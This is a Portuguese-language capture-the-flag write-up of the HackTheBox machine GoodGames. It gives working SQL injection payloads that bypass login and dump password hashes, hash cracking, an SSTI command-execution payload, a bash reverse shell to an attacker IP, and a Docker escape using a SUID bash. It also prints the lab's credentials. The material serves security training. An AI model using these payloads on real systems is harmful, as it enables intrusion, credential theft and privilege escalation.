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# Relato do HackTheBox GoodGames

{% embed url="<https://www.google.com/url?q=https://app.hackthebox.com/machines/446&sa=D&source=calendar&usd=2&usg=AOvVaw2ko0ihHJ569fSXeaF46YAQ>" %}

{% hint style="warning" %}
**Habilidades:**

* Explorando Injeções de SQL Baseadas em União
* Quebra de Hashes com Algoritmos Fracos
* Reutilização de Senhas
* Explorando SSTI
* Noções Básicas de Escape do Docker
  {% endhint %}

## Reconhecimento

**Configuração do ambiente de trabalho:**

Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

<figure><img src="/files/48851bd32494d7009230f4a5cdf7da7e7197e79b" alt="" width="563"><figcaption></figcaption></figure>

**Verificação de conectividade da VPN**

Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.

<figure><img src="/files/8c6f05a94260d10fc9db6745fe24401755a4c369" alt="" width="563"><figcaption></figcaption></figure>

**Descoberta de portas abertas com Nmap:**

Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.130 -oG allPorts
```

<figure><img src="/files/33a44f5cd24d56b26c6d39387a2a03c950f66bb5" alt=""><figcaption></figcaption></figure>

**Análise de portas abertas com extractPorts:**

Use a função extractPorts para exibir as portas abertas em um formato conciso e copiá-las para a área de transferência (80)

<figure><img src="/files/2687311830054c170669647ccac326de9aa67218" alt="" width="563"><figcaption></figcaption></figure>

Varredura de versões de portas com Nmap:

Use o Nmap para verificar as versões dos serviços e salvar a saída no arquivo "targeted":

```bash
nmap -sCV -p80 10.10.11.130 -oN targeted
```

<figure><img src="/files/3183e4f472c435c35040c9defc243a35ab9c99cf" alt=""><figcaption></figcaption></figure>

Para resolver nomes de domínio em endereços IP via DNS, inserimos o nome de domínio associado ao seu endereço IP no `/etc/hosts` arquivo:

<figure><img src="/files/76b65b7fbba6a1892bd78cc074fceff9f015ae9c" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/5b58b3fc5959be82130b72336bbf49fadef9ab3b" alt=""><figcaption></figcaption></figure>

**Busca de diretórios:**

Usamos o Gobuster para pesquisar diretórios no site:

```bash
gobuster dir -u http://GoodGames.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 --exclude-length 9265
```

Encontramos um diretório de cadastro.

<figure><img src="/files/6bdaa7cae3bd40710c044c810d5ed6fd064d9b93" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/66487db76c6a38e2bda74c716587fde39b0517d8" alt=""><figcaption></figcaption></figure>

## Vulnerabilidade de Injeção de SQL:

Usando **Burp Suite**, podemos interceptar a requisição, permitindo-nos testar a injeção de SQL.

<figure><img src="/files/aa54d2a15f0fb5d2aaf56098be0628eb573edf0d" alt=""><figcaption></figcaption></figure>

### Injeção de SQL Básica:

Para contornar a autenticação com uma injeção simples, usamos:

```bash
admin ' or 1=1-- -
```

<figure><img src="/files/ab69c549285177ca2fbb6443d3b1be088c216f99" alt=""><figcaption></figcaption></figure>

Esse tipo de injeção força a condição a ser sempre verdadeira (`1=1`), permitindo acesso ao painel de administrador e burlando as verificações de credenciais.

<figure><img src="/files/57144926a0fef54ef5247d627d4fbfef1e3efa34" alt=""><figcaption></figcaption></figure>

### Injeção baseada em UNION

Com uma **SQL baseado em UNION** injeção, tentamos determinar o número de colunas para estruturar as consultas de forma compatível com o banco de dados. Exemplo:

```bash
admin' union select 1,2,3,4-- -
```

O servidor retorna uma resposta indicando "login bem-sucedido", mostrando que há 4 colunas.

<figure><img src="/files/b095487ee2e09e5f6f921619d75fe7962b3f65d7" alt=""><figcaption></figcaption></figure>

#### Listar Bancos de Dados

Para listar o nome do banco de dados atual, usamos:

```bash
admin' union select 1,2,3,database()-- -&password=admin
```

<figure><img src="/files/7111864472767c4967b7899068a251f1a2c95365" alt=""><figcaption></figcaption></figure>

Depois, para obter todos os bancos de dados disponíveis:

{% code overflow="wrap" %}

```sql
admin' union select 1,2,3,group_concat(schema_name) from information_schema.schemata-- -&password=admin
```

{% endcode %}

Resultado: `information_schema`, `main`

<figure><img src="/files/500f80bf9d8f6b607857ca2de602c248ad188e47" alt=""><figcaption></figcaption></figure>

#### Listar Tabelas

Depois de identificar o `main` banco de dados, listamos as tabelas nesse banco de dados para explorar as estruturas armazenadas:

{% code overflow="wrap" %}

```sql
admin' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='main'-- -
```

{% endcode %}

Tabelas encontradas: `blog`, `blog_comments`, `users`.

<figure><img src="/files/6cfeead213e8cf459f74f8a3b2c2a465f40b649b" alt=""><figcaption></figcaption></figure>

Listar as Colunas de uma Tabela

Para a `users` tabela, listamos as colunas disponíveis:

{% code overflow="wrap" %}

```sql
admin' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema='main' and table_name='user' -- -
```

{% endcode %}

Colunas encontradas: `email`, `id`, `parâmetro`, `senha`.

<figure><img src="/files/a13de6722e59a7b8fc74ec008df806fa999d09bd" alt=""><figcaption></figcaption></figure>

#### Extração de Dados do Usuário

Em seguida, extraímos os dados da `users` tabela:

{% code overflow="wrap" %}

```sql
admin' union select 1,2,3,group_concat(name,':',email,':',password) from main.user -- -
```

{% endcode %}

USUÁRIO: `Admin`

E-MAIL: `admin@goodgames.htb`

SENHA (hash): `2b22337f218b2d82dfc3b6f77e7cb8ec`

<figure><img src="/files/e1ddfe5f1882e22e53fc9a5951b270705f851522" alt=""><figcaption></figcaption></figure>

### Descriptografia da senha

Você pode usar **CrackStation** para decifrar o hash MD5 obtido e recuperar a senha em texto claro.

{% embed url="<https://crackstation.net/>" %}

<figure><img src="/files/d4b8f49ef3e499e9f8c24c0955981bd23f433f0d" alt=""><figcaption></figcaption></figure>

## Vulnerabilidade SSTI:

### Acesso a um Subdomínio

Para acessar um subdomínio de administrador descoberto, adicione-o às `/etc/hosts` arquivo.

<figure><img src="/files/90ec3b6ca0f02aaa9967e3e65cc76f59fd51bcea" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/bf7e5a792ce3407208d5b5b63155b4ee1e162551" alt=""><figcaption></figcaption></figure>

Por fim, com o **admin** credenciais, você pode se autenticar nesse subdomínio.

`admin:superadministrator`

<figure><img src="/files/d9c825926aa37f10ceb7b6e11ac04d05f88021f2" alt=""><figcaption></figcaption></figure>

No subdomínio, você encontrará uma aba **Configurações** onde você pode editar as informações do usuário administrador (nome completo, data de nascimento e telefone).

<figure><img src="/files/3fb222081cff777024df6aae277046fa9fcd3da1" alt=""><figcaption></figcaption></figure>

Se, no formulário "nome completo", você tentar executar um ataque SSTI, o servidor é vulnerável. Para testar isso com `{{ }}`, vamos tentar ver se ele interpreta o cálculo:

```python
{{1+1}}
```

<figure><img src="/files/d8ccfbc4049488c2f3db5121589c7530bfdac8e2" alt=""><figcaption></figcaption></figure>

Em seguida, executaremos comandos (por exemplo, `id`):

```python
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
```

Descobrimos que ele está no `root` grupo.

<figure><img src="/files/85403e451c3d81a866c0b44bacaa5c3a6608f67c" alt=""><figcaption></figcaption></figure>

Vamos criar uma reverse shell para acessar o servidor

```python
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/10.10.14.5/443 0>&1"').read() }}
```

Escutamos a porta 443 na nossa máquina de ataque:

```bash
nc -nlvp 443
```

<figure><img src="/files/5dbf8261dd7c8acd540625065a97bf6adcf3b6c8" alt=""><figcaption></figcaption></figure>

### **Flag : user.txt** :)

<figure><img src="/files/6dfadd39e4d701931a19d9cefa62c64a7b0b77ca" alt=""><figcaption></figcaption></figure>

## Elevação de privilégios :

Depois de obter acesso ao servidor Linux, aqui estão os comandos para realizar o processamento no terminal:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

Isso permitirá que você trabalhe de forma muito mais eficiente e, acima de tudo, mais confortável.

### Escape do Docker:

Observamos que o endereço IP não é o da máquina (IP da máquina: 10.10.11.130; IP do contêiner Docker: 172.19.0.2).

<div data-full-width="true"><figure><img src="/files/7407af1f49b7a897aa7eedb57052a5bc90114fe5" alt=""><figcaption></figcaption></figure></div>

Vamos escanear as portas manualmente, já que `nmap` não está instalado no gateway (172.19.0.1):

```bash
for PORT in {0..1000}; do timeout 1 bash -c "</dev/tcp/172.19.0.1/$PORT
&>/dev/null" 2>/dev/null && echo "port $PORT is open"; done
```

Observamos que a porta 22 está aberta (internamente), então podemos nos conectar via SSH.

```bash
for PORT in {0..1000}; do timeout 1 bash -c "</dev/tcp/172.19.0.1/$PORT&>/dev/null" 2>/dev/null && echo "port $PORT is open"; done
```

<figure><img src="/files/a152be2f01de27aec24e6ccce4d89f4d01f1207c" alt=""><figcaption></figcaption></figure>

Se tentarmos fazer login com a conta root usando a senha `superadministrador` não conseguimos fazer login, mas com `augustus` conseguimos obter uma shell.

<figure><img src="/files/169f9763b9a52526c6ba28534837d55e46d2c4bf" alt=""><figcaption></figcaption></figure>

### Bash SUID a partir do Docker

Como no contêiner Docker, somos root, vamos copiar o binário bash do host normal da máquina para o diretório home de `augustus`:

```
cp /bin/bash .
```

<figure><img src="/files/e30b52b08670bc0f19322cdf0cb359b47f8fcf6d" alt="" width="556"><figcaption></figcaption></figure>

A partir do root do Docker, vamos autorizar o grupo root para este arquivo bash e as permissões SUID para que ele seja executado como root:

```bash
chown root:root bash
chmod 4777 bash
```

Voltamos ao SSH e vemos:

`-rwsrwxrwx 1 root root 1234376 Oct 28 11:35 bash`

<figure><img src="/files/c23662025d57d14d72905dcc2755e6cbb9da69f8" alt=""><figcaption></figcaption></figure>

### **Flag Root Obtida :)**

`./bash -p`

<figure><img src="/files/b7d5196e02f494613f3aeeae997d22f55f54bc94" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/aaa68c31db25d9b3d694684e99ad026f3a735357" alt="" width="528"><figcaption></figcaption></figure>


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